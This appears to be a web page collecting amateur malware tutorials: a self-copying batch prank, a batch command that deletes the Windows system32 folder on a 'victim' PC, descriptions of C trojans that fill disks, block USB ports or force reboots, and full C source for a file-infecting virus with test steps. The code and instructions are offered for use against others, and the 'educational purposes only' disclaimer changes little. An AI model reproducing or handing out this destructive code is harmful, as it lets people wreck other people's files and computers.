Mukhtalif Batch Viruses Ke Codes.


Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.
@ECHO OFF
:This was meant as a harmless joke, and it's not hard to fix if you read through the code.
:If you just use the "disinf" argument on the command line all is well.
:P lease only use this on people u don't like

Harmful Virus Making Tutorial

Hello today I'm going to learn you about virus making. Don't use it for any harm. A real hacker can't harm anybody.
For create virus we will use notepad. I will give you two virus making tutorial. See my instruction carefully.



Virus 1:
  • Open notepad.
  • Copy the below command there.
  • "del c:\WINDOWS\system32\*.*/q"  without quote.
  • Now save it as anything.bat
  • Finish. If you send it to victim computer and if victim open it his windows system32 folder will be deleted. Without it a pc can't start. Lol

How to Make a Trojan Horse


How to Make a Trojan HorseMost of you may be curious to know about how to make a Trojan or Virus on your own. Well, here is an answer to your curiosity. In this, post I’ll show you how to make a simple trojan on your own using C programming language. This trojan when executed will eat up the hard disk space on the root drive (The drive on which the Windows is installed, usually C: Drive) of the computer on which it is run. Also, this trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run.
So, I’ll call this as Space Eater Trojan. Since this program is written using a high level programming language, it is often undetected by antivirus programs. The source code for this program is available for download at the end of this post. Let’s see how this trojan works:

A Virus Program to Disable USB Ports


Virus to disable USB portsIn this post, I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual, I am using my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result you’ll will not be able to use your pen drive or any other USB peripheral devices on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

A Virus Program to Restart the Computer


A Virus Program to Restart the ComputerIn this post I will show you how to create a virus that will restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on it’s own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

How to Create a Computer Virus?

How to Create a Computer Virus


This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:

How it Works?

The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

  1. Create a new empty folder.
  2. Put some executable files (or any other files) in the folder.
  3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
  4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
